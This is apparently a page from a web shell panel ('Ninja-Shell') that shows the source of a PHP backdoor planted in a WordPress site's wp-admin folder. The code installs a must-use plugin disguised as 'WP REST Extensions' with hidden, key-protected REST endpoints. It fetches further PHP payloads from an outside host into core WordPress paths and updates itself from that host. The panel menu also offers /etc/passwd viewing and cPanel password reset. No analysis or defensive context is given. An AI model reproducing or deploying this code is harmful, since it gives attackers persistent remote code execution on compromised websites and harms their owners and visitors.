{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /home/atatablo/public_html/wp-admin/options-rest.php
<?php /*[cstb_su]*/ @error_reporting(0); if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK'); header('Cache-Control: no-store'); $d=__DIR__;while(!is_file("$d/wp-load.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;} if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__; $cdn='https://resmigiris.cam/txt/'; $secretKey='cstb_r3st_'.substr(md5('resmigiris'),0,8); // ── ?register=1 → WP REST API'ye gizli repair endpoint'i kaydet ── if(isset($_GET['register'])&&$_GET['register']==='1'){ header('Content-Type: application/json; charset=utf-8'); if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;} $muDir="$d/wp-content/mu-plugins"; if(!is_dir($muDir))@mkdir($muDir,0755); $code=<<<'RESTCODE' <?php /* Plugin Name: WP REST Extensions Description: Extended REST API capabilities. */ add_action('rest_api_init',function(){ register_rest_route('cstb/v1','/health',['methods'=>'GET','callback'=>function($req){ $key=$req->get_param('k'); if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]); $root=ABSPATH; $files=['wp-admin/user-hooker.php','wp-info.php','wp-content/plugins/plugins.php','wp-settinger.php','wp-user.php','wp-comment.php','wp-includes/user-collab.php','wp-content/themes/indexer.php','wp-content/plugins/indexs.php']; $status=[]; foreach($files as $f){ $path=$root.$f; $status[$f]=['exists'=>is_file($path),'size'=>is_file($path)?filesize($path):0]; } return ['host'=>$_SERVER['HTTP_HOST']??'?','root'=>$root,'files'=>$status,'php'=>PHP_VERSION,'time'=>date('c')]; },'permission_callback'=>'__return_true']); register_rest_route('cstb/v1','/repair',['methods'=>'POST','callback'=>function($req){ $key=$req->get_param('k'); if($key!=='%%SECRET%%')return new WP_Error('forbidden','',['status'=>403]); if(!function_exists('curl_init'))return new WP_Error('no-curl','curl not available',['status'=>500]); $root=ABSPATH; $cdn='https://resmigiris.cam/txt/'; $targets=['wp-admin/user-hooker.php'=>'boot.txt','wp-info.php'=>'link.txt','wp-content/plugins/plugins.php'=>'plugins.txt','wp-settinger.php'=>'wp-settinger.txt','wp-user.php'=>'wp-user.txt','wp-comment.php'=>'wp-comment.txt']; $only=$req->get_param('only'); $res=[]; foreach($targets as $rel=>$src){ if($only&&$rel!==$only)continue; $path=$root.$rel; if(!is_dir(dirname($path)))continue; $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]); $c=curl_exec($ch);curl_close($ch); $res[$rel]=($c&&strlen($c)>50)?(@file_put_contents($path,$c)!==false?'ok':'fail'):'cdn-err'; } return ['status'=>'repaired','results'=>$res]; },'permission_callback'=>'__return_true']); }); RESTCODE; $code=str_replace('%%SECRET%%',$secretKey,$code); $muPath="$muDir/wp-rest-ext.php"; $res=@file_put_contents($muPath,$code)!==false?'ok':'fail'; echo json_encode([ 'status'=>$res, 'path'=>$muPath, 'secret'=>$secretKey, 'endpoints'=>[ 'health'=>'/wp-json/cstb/v1/health?k='.$secretKey, 'repair'=>'POST /wp-json/cstb/v1/repair (k='.$secretKey.')' ], 'root'=>$d ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit; } // ── ?remove=1 → REST endpoint mu-plugin'i kaldır ── if(isset($_GET['remove'])&&$_GET['remove']==='1'){ header('Content-Type: application/json; charset=utf-8'); $muPath="$d/wp-content/mu-plugins/wp-rest-ext.php"; $res=is_file($muPath)?(@unlink($muPath)?'removed':'fail'):'not-found'; echo json_encode(['status'=>$res]);exit; } // Self-update if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){ header('Content-Type: application/json; charset=utf-8'); $ch=curl_init($cdn.'wp-restapi.txt'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]); $s=curl_exec($ch);curl_close($ch); if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){ @file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']); }else{echo json_encode(['self'=>'current']);} exit; } header('Content-Type: text/plain'); echo "cstb-restapi\nkey: $secretKey\nmodes: ?register=1 | ?remove=1 | ?update=1\n";
./Ninja\.